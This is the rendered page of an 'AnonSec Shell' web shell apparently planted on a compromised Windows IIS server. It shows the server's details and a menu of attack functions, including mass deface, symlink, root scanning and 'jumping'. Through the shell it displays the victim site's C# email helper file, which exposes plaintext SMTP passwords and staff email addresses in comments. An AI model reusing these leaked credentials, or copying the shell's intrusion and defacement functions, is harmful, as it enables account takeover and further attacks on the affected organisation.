. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs//clsComman.cs
using System;
using System.Configuration;
using System.Net;
using System.Net.Mail;
using System.Threading;

namespace GrowelWeb
{
    public class clsComman
    {
        public static string value(string key)
        {
            if ((ConfigurationManager.AppSettings[key] != null))
            {
                return ConfigurationManager.AppSettings[key];
            }
            return ConfigurationManager.AppSettings["SiteUrl"];
        }

        public void SendMail(string Subject, string Body)
        {
            SendMail(Subject, Body,"");
        }

        public void SendMail(string Subject,string Body,string Attachement)
        {


            string ToEmailId = clsComman.value("ToemailId");
            string CCEmailId = clsComman.value("CCEmailId");
            string CC1EmailId = clsComman.value("CC1EmailId");



            MailMessage mymail = new MailMessage();
            mymail.To.Add(ToEmailId);
            //mymail.CC.Add("info@vinayaksoftsol.com");
            
            if (CCEmailId!="")
                mymail.CC.Add(CCEmailId);

            if (CC1EmailId != "")
                mymail.CC.Add(CC1EmailId);


            mymail.From = new MailAddress(ToEmailId, "Growel");
            mymail.Subject = Subject;
            mymail.IsBodyHtml = true;
            mymail.Body = Body;

            if (Attachement != "")
            {
                System.Net.Mail.Attachment attachment;
                attachment = new System.Net.Mail.Attachment(Attachement);  // Local Path
                mymail.Attachments.Add(attachment);
            }

            //using (SmtpClient client = new SmtpClient())
            //{
            //    client.EnableSsl = true;
            //    client.UseDefaultCredentials = false;
            //    client.Credentials = new NetworkCredential("webmaster@growel.com", "Samsung@879");
            //    client.Host = "smtp-legacy.office365.com";
            //    client.Port = 587;
            //    client.DeliveryMethod = SmtpDeliveryMethod.Network;

            //    client.Send(mymail);
            //}
            string password = clsComman.value("pass");

            SmtpClient client = new SmtpClient()
            {
                EnableSsl = true,
                UseDefaultCredentials = false,
                Credentials = new NetworkCredential(ToEmailId, password ),//"Grauer@1000" //Samsung@879
                Host = "smtp-legacy.office365.com",
                Port = 587,
                DeliveryMethod = SmtpDeliveryMethod.Network,

                //    client.Send(mymail);

            };


            Thread T1 = new Thread(delegate ()
            {

                {
                    {
                        try
                        {
                            client.Send(mymail);
                        }
                        catch (Exception ex)
                        {
                            //ExceptionLogging.SendErrorToText(ex);
                            throw;
                        }

                    }
                }
            });

            T1.Start();


        }


        public void SendMail1(string Subject, string Body,string emailId)
        {
            MailMessage mymail = new MailMessage();
            mymail.To.Add(emailId);
            //mymail.CC.Add("info@vinayaksoftsol.com");
            mymail.Bcc.Add("harshad.umrotkar@growel.com");
            mymail.Bcc.Add("webmaster@growel.com");
            mymail.From = new MailAddress("webmaster@growel.com", "Growel");
            mymail.Subject = Subject;
            mymail.IsBodyHtml = true;
            mymail.Body = Body;




            //using (SmtpClient client = new SmtpClient())
            //{
            //    client.EnableSsl = true;
            //    client.UseDefaultCredentials = false;
            //    client.Credentials = new NetworkCredential("webmaster@growel.com", "Samsung@879");
            //    client.Host = "smtp-legacy.office365.com";
            //    client.Port = 587;
            //    client.DeliveryMethod = SmtpDeliveryMethod.Network;

            //    client.Send(mymail);
            //}

            string password = clsComman.value("pass");

            SmtpClient client = new SmtpClient()
            {
                EnableSsl = true,
                UseDefaultCredentials = false,
                Credentials = new NetworkCredential("webmaster@growel.com", password), //"Grauer@1000" //Samsung@879
                Host = "smtp-legacy.office365.com",
                Port = 587,
                DeliveryMethod = SmtpDeliveryMethod.Network,

                //    client.Send(mymail);

            };


            Thread T1 = new Thread(delegate ()
            {

                {
                    {
                        try
                        {
                            client.Send(mymail);
                        }
                        catch (Exception ex)
                        {
                            //ExceptionLogging.SendErrorToText(ex);
                            throw;
                        }

                    }
                }
            });

            T1.Start();



        }

    }
}

Anon7 - 2022
AnonSec Team